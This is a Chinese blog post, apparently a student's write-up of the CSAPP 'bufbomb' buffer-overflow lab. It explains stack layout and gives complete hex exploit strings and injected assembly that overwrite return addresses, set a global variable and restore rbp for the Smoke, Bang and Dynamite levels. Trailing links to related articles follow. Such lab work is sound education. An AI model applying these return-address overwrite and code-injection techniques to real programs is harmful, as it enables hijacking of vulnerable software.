这个实验主要是熟悉栈,和了解数据缓存区溢出的问题。

数据缓存区溢出:程序每次调用函数时,会把当前的eip指针保存在栈里面,作为被调用函数返回时的程序指针。在被调用程序里面,栈是向下增长的。所有局部变量都存储在栈里面(静态局部变量除外)。假设有一个字符串变量str,在str读取数据时,如果缓存区没有进行一定的保护,会造成缓存区的溢出。由于栈是向下增长的,但是对于一个变量,如str,他的数据存储顺序是向上增长的。所以当缓存区溢出时,可能对eip的返回指产生影响,可以通过输入,来改变eip指针的值,从而控制程序返回的地址。

Level 0: Candle

第一个实验,是通过数据缓存区溢出,来对程序进行修改。

程序是一个字符串的输入程序,如果输入超过40个,就会说输入错误。

试验一就是要通过查看程序的栈帧,进行缓存区溢出攻击,通过输入,改变程序的返回地址。

void test()
{
unsigned long long val;
volatile unsigned long long local = 0xdeadbeef;
char* variable_length;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
if (val <= 40) {
variable_length = alloca(val);
}
entry_check(3);
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%llx\n", val);
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
validate(3);
}
else {
printf("Dud: getbuf returned 0x%llx\n", val);
}
}
unsigned long long getbuf()
{
char buf[36];
volatile char* variable_length;
int i;
unsigned long long val = (unsigned long long)Gets(buf);
variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
for(i = 0; i < 36; i++)
{
variable_length[i] = buf[i];
}
return val % 40;
}

test函数调用getbuf()函数,来输入字符串。然后判断输入的字符串长度。

实验要求,输入一个字符串,然后是getbuf()完成后,跳转到smoke()函数,而不是test函数。

首先,进入getbuf函数,查看getbuf的栈帧。

可以看到,程序的返回地址存储在rip中,地址是:

也就是要通过输入,改变0x7fffffffb1a8地址中的值。

根据程序:

char buf[36];
volatile char* variable_length;
int i;
unsigned long long val = (unsigned long long)Gets(buf);

我们的输入存在buf这个变量里面,查看buf这个变量的地址:

上面两个地址相减,就是:0xb1a8-0xb170=0x38=56

也就是我们要输入56个字符串,然后再输入想要转化的地址。

现在只要知道smoke的函数入口地址就可以了,

通过查看smoke的第一行的地址,就可以知道函数入口地址

知道smoke入口地址是0x4010c0

只要在最后输入0x4010c0就可以了,但是因为机器是小端法的机器,所以输入要反一下,要输入C0 10 40 00

综上最后的输入为:

30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 c0 10 40 00

前面56个输入,只要不要有换行符就行了

最后的结果:

成功调用了smoke

Level 1: Sparkler

Similar to Level 0, your task is to get bufbomb to execute the code for fizz() rather than returning to test.
In this case, however, you must make it appear to fizz as if you have passed your cookie as its argument. You can do this by encoding your cookie in the appropriate place within your exploit string.

要求就是进入fizz函数,然后使cookie的值和val的值相同。

void fizz(int arg1, char arg2, long arg3,
char* arg4, short arg5, short arg6, unsigned long long val)
{
entry_check(1); /* Make sure entered this function properly */
if (val == cookie)
{
printf("Fizz!: You called fizz(0x%llx)\n", val);
validate(1);
}
else
{
printf("Misfire: You called fizz(0x%llx)\n", val);
}
exit(0);
}
直接通过改变val的值,使val的值和cookie的值相等,来解决问题。
这里具体的做法就是找到val的地址,然后通过写入的字符串来改变那个地址上面的值,此方法和实验一的过程比较像,就不展开了。

Level 2: Firecracker

Similar to Levels 0 and 1, your task is to get bufbomb to
execute the code for bang() rather
than returning to test(). Before
this, however, you must set global variable global_value to
your cookie. Your exploit code should set global_value,
push the address of bang() on
the stack, and then execute a retq instruction
to cause a jump to the code for bang().
unsigned long long global_value = 0;

void bang(unsigned long long val)
{
entry_check(2); /* Make sure entered this function properly */
if (global_value == cookie)
{
printf("Bang!: You set global_value to 0x%llx\n", global_value);
validate(2);
}
else
{
printf("Misfire: global_value = 0x%llx\n", global_value);
}
exit(0);
}

这个实验要求把getbuf函数结束之后,跳转到bang这个函数里面来,然后global_value的值需要和cookie一样。一开始我以为这个和前面第二个的实验差不多,后来gdb进去一看,global_value由于是全局变量,根本不在栈里面,像实验二一样,通过直接改global_value的值是不行的。

后来看了一下实验给的建议,知道是要让我在缓存区里面写一段代码,通过这段代码来改变变量的值。原来还能这么玩,太牛逼了。
首先,写一段汇编,是把global_value的地址里面的值改掉:
.data
.text
main:
MOVQ $0x602308 ,%rax
MOVQ $0x704537f05ce48c45 ,%rbx
movq %rbx,(%rax)
push $0x401020
ret

然后用gcc编译一下,在反汇编,得到他的二进制表示:

得到的反汇编文件:

只要把前面那些二进制代码作为输入,就可以了

最后的输入是:
48 c7 c0 08 23 60 00 48 bb 45 8c e4 5c f0 37 45 70 48 89 18 68 20 10 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00  

在这里和第二个实验还有点不一样的地方就是把rip的地址改为了buf的首地址,这样,当getbuf函数返回的时候,会把这段代码作为返回地址,然后执行。

最后结果:

成功更改了global_value的值。

代码,数据,对计算机来说都是0,1而已,没有区别。

Extra Credit – Level 3: Dynamite

Your job for this level is to supply an exploit string that will cause getbuf() to
return your cookie back to test(),
rather than the value 1. You can see in the code for test() that
this will cause the program to go "Boom!"
oid test()
{
unsigned long long val;
volatile unsigned long long local = 0xdeadbeef;
char* variable_length;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
if (val <= 40) {
variable_length = alloca(val);
}
entry_check(3);
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%llx\n", val);
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
validate(3);
}
else {
printf("Dud: getbuf returned 0x%llx\n", val);
}
}

这个实验就是让我把getbuf里面的返回值改成cookie的值,和上一个实验都是一样的,唯一需要注意的是,在程序里面有一个local的变量,用来检测栈地址有没有被改变。因为local的变量是通过rbp间接寻址得到的,所以在汇编程序里面需要改变rbp的值,使他指向正确的rbp;

写入的汇编代码如下:

然后把这些二进制的代码写入到字符串,写入的字符串为:

48 b8 45 8c e4 5c f0 37 45 70 48 bd d0 b1 ff ff ff 7f 00 00 68 f3 0e 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00  

最后在gdb里面得到的结果:

总结:终于搞完这个东西了,汇编编程还真是麻烦,虽然只有几行,但是错误真是难找。记得第三个实验我传值的时候忘记掉了$符号,结果传进去的值不是立即数,而是间接地址上的数,因为这个错,弄了一晚上,一直以为是自己字符串输错了……真是蛋疼

版权声明:本文为博主原创文章,未经博主允许不得转载。

csapp lab3 bufbomb 缓存区溢出攻击 《深入理解计算机系统》的更多相关文章

  1. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...

  2. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

    前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...

  3. 缓存区溢出漏洞工具Doona

    缓存区溢出漏洞工具Doona   Doona是缓存区溢出漏洞工具BED的分支.它在BED的基础上,增加了更多插件,如nttp.proxy.rtsp.tftp等.同时,它对各个插件扩充了攻击载荷,这里也 ...

  4. 缓存区溢出检测工具BED

    缓存区溢出检测工具BED   缓存区溢出(Buffer Overflow)是一类常见的漏洞,广泛存在于各种操作系统和软件中.利用缓存区溢出漏洞进行攻击,会导致程序运行失败.系统崩溃.渗透测试人员利用这 ...

  5. CSAPP:逆向工程【缓冲区溢出攻击】

    逆向工程[缓冲区溢出攻击] 任务描述 掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行我们所期望的过程. 主要方法 溢出的字符将覆盖栈帧上的数据,会覆盖程 ...

  6. 缓存区溢出之slmail fuzzing

    这是我们的实验环境 kali 172.18.5.118smtp windows2003  172.18.5.117  pop3 110 smtp 25 本机 172.18.5.114 已经知道slma ...

  7. AFP溢出攻击模块afp/loginext

    AFP溢出攻击模块afp/loginext   在苹果Mac OS X 10.3.3及以前版本,AFP服务存在缓存区溢出漏洞CVE-2004-0430.利用该漏洞,用户可以基于LoginExt包执行任 ...

  8. CSAPP缓冲区溢出攻击实验(上)

    CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...

  9. CSAPP缓冲区溢出攻击实验(下)

    CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...

随机推荐

  1. How to change a product dropdown attribute to a multiselect in Magento

    First, update the attribute input type to multiselect: UPDATE eav_attribute SET entity_type_id ', at ...

  2. php缓存生成及更新实现参考哦

    <?php //如果在find/findAll里传入了参数,则该参数即为key ORM::factory('article')->where('user_id', '=', '2')-&g ...

  3. Sql Service存储过程分页

    一起是用oracle数据库..感觉oracle数据库强大.查询速度是杠杠的.换了家公司用的是SQL SERVICE.以前用了1年现在捡回以前的记忆.动手写了动态SQL过存储过程分页.感觉和oracle ...

  4. Instruments性能检测

    关于Instruments有网友如是说的:"一句话: 内存开销.运行速度.内存泄露 and so on". 如此简单的回答肯定打发不了咱们各位看官和面试官,当然上述表达和下边的网友 ...

  5. 在webstrorm中配置好es6 babel

    第一步,新建一个项目,我这里建立了基于express 的node项目 第二步:将JavaScript语言版本切换为ECMAScript6 点击File —>settings,弹出设置框.把js的 ...

  6. 《UNIX环境高级编程》笔记--线程的标识、创建和终止

    1.线程标识 就像每个进程都有一个进程ID一样,每个线程都有一个线程ID.进程ID在整个系统中是唯一的,但线程ID只在它所属的 进程环境中有效. 线程ID使用pthread_t数据类型来表示,实现的时 ...

  7. Struts2问题,已解决No result defined for action and result input

    struts2.1.8 必须在struts.xml中配置namespace属性 如果你在2.0中一切OK,但是在2.1中确出现了No result defined for action的异常,就是在因 ...

  8. jquery学习(3)--高级选择器

    自己手写的学习笔记.常规选择器: /****************学习--高级选择器(1)****************/---高级选择器:ie7+ 层次选择器: 后代选择器     ul li ...

  9. 在Windows的CMD中如何设置支持UTF8编码

    这个问题很多人开始都会不知道,当然包括曾经的我,当用到的时候,只好求助于伟大的股沟和度娘了.网上有设置的方法,但说明确不够详细系统,说设置字体为:Lucida Console.问题是,在默认方式下,只 ...

  10. 修改SlidingMenu,使其能够完美运行

    今天想给项目添加一个侧边栏的效果,使用到了https://github.com/jfeinstein10/SlidingMenu这个开源项目.项目本身可以通过github下载.此项目同时又依赖于一个名 ...